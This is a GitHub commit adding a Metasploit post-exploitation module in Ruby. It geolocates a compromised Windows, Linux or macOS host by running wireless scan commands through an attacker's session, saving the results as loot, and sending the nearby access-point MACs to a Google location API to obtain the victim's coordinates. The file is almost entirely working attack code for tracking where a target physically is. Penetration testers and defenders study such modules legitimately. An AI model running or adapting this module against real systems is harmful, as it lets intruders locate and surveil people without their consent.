Skip to content

Commit 2fd004b

Browse files
committed
New module: Multiplatform Wireless LAN Geolocation
This is a new POST module that allows Windows, Linux, and OSX targets to be geolocated using Google services if the target has an active and functional wireless adapter.
1 parent fda6ed3 commit 2fd004b

File tree

1 file changed

+167
-0
lines changed

1 file changed

+167
-0
lines changed
Lines changed: 167 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,167 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
require 'json'
9+
require 'net/http'
10+
11+
class Metasploit3 < Msf::Post
12+
13+
def initialize(info={})
14+
super( update_info( info,
15+
'Name' => 'Multiplatform Wireless LAN Geolocation',
16+
'Description' => %q{ Geolocate the target device by gathering local
17+
wireless networks and performing a lookup against Google APIs.},
18+
'License' => MSF_LICENSE,
19+
'Author' => [ 'Tom Sellers <tom <at> fadedcode.net>'],
20+
'Platform' => %w{ osx win linux },
21+
'SessionTypes' => [ 'meterpreter', 'shell' ],
22+
))
23+
24+
end
25+
26+
def get_strength(quality)
27+
# Convert the signal quality to signal strength (dbm) to be sent to
28+
# Google. Docs indicate this should subtract 100 instead of the 95 I
29+
# am using here, but in practice 95 seems to be closer.
30+
signal_str = quality.to_i / 2
31+
signal_str = (signal_str - 95).round
32+
return signal_str
33+
34+
end
35+
36+
def parse_wireless_win(listing)
37+
wlan_list = ''
38+
raw_networks = listing.split("\r\n\r\n")
39+
40+
raw_networks.each { |network|
41+
details = network.match(/^SSID [\d]+ : ([^\r\n]*).*?BSSID 1[\s]+: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal[\s]+: ([\d]{1,3})%/m)
42+
if !details.nil?
43+
strength = get_strength(details[3])
44+
network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{strength.to_i}"
45+
wlan_list << network_data
46+
end
47+
}
48+
49+
return wlan_list
50+
end
51+
52+
53+
def parse_wireless_linux(listing)
54+
wlan_list = ''
55+
raw_networks = listing.split("Cell ")
56+
57+
raw_networks.each { |network|
58+
details = network.match(/^[\d]{1,4} - Address: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m)
59+
if !details.nil?
60+
network_data = "&wifi=mac:#{details[1].to_s.upcase}|ssid:#{details[3].to_s}|ss=#{details[2].to_i}"
61+
wlan_list << network_data
62+
end
63+
}
64+
65+
return wlan_list
66+
end
67+
68+
def parse_wireless_osx(listing)
69+
wlan_list = ''
70+
raw_networks = listing.split("\n")
71+
72+
raw_networks.each { |network|
73+
network = network.strip
74+
details = network.match(/^(.*(?!\h\h:))[\s]*([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2})[\s]*([\d-]{1,3})/)
75+
if !details.nil?
76+
network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{details[3].to_i}"
77+
wlan_list << network_data
78+
end
79+
}
80+
81+
return wlan_list
82+
end
83+
84+
85+
# Run Method for when run command is issued
86+
def run
87+
if session.type =~ /shell/
88+
# Use the shell platform for selecting the command
89+
platform = session.platform
90+
else
91+
# For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform
92+
platform = session.sys.config.sysinfo['OS']
93+
end
94+
95+
96+
case platform
97+
when /win/i
98+
99+
listing = cmd_exec('netsh wlan show networks mode=bssid')
100+
if listing.nil?
101+
print_error("Unable to generate wireless listing..")
102+
return nil
103+
else
104+
store_loot("host.windows.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
105+
wlan_list = parse_wireless_win(listing)
106+
end
107+
108+
when /osx/i
109+
110+
listing = cmd_exec('/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s')
111+
if listing.nil?
112+
print_error("Unable to generate wireless listing..")
113+
return nil
114+
else
115+
store_loot("host.osx.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
116+
wlan_list = parse_wireless_osx(listing)
117+
end
118+
119+
when /linux/i
120+
121+
listing = cmd_exec('iwlist scanning')
122+
if listing.nil?
123+
print_error("Unable to generate wireless listing..")
124+
return nil
125+
else
126+
store_loot("host.linux.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
127+
wlan_list = parse_wireless_linux(listing)
128+
end
129+
else
130+
print_error("The target's platform is not supported at this time.")
131+
return nil
132+
end
133+
134+
if wlan_list.nil? || wlan_list.empty?
135+
print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
136+
return
137+
end
138+
139+
140+
# Build and send the request to Google
141+
url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{wlan_list}"
142+
uri = URI.parse(URI.encode(url))
143+
request = Net::HTTP::Get.new(uri.request_uri)
144+
http = Net::HTTP::new(uri.host,uri.port)
145+
http.use_ssl = true
146+
response = http.request(request)
147+
148+
# Gather the required information from the response
149+
if response && response.code == '200'
150+
results = JSON.parse(response.body)
151+
latitude = results["location"]["lat"]
152+
longitude = results["location"]["lng"]
153+
accuracy = results["accuracy"]
154+
print_status("Google indicates that the target is within #{accuracy} meters of #{latitude},#{longitude}.")
155+
print_status("Google Maps URL: https://maps.google.com/?q=#{latitude},#{longitude}")
156+
else
157+
print_error("Failure connecting to Google for location lookup")
158+
end
159+
160+
161+
rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
162+
rescue ::Exception => e
163+
print_status("The following Error was encountered: #{e.class} #{e}")
164+
end
165+
166+
167+
end

0 commit comments

Comments
 (0)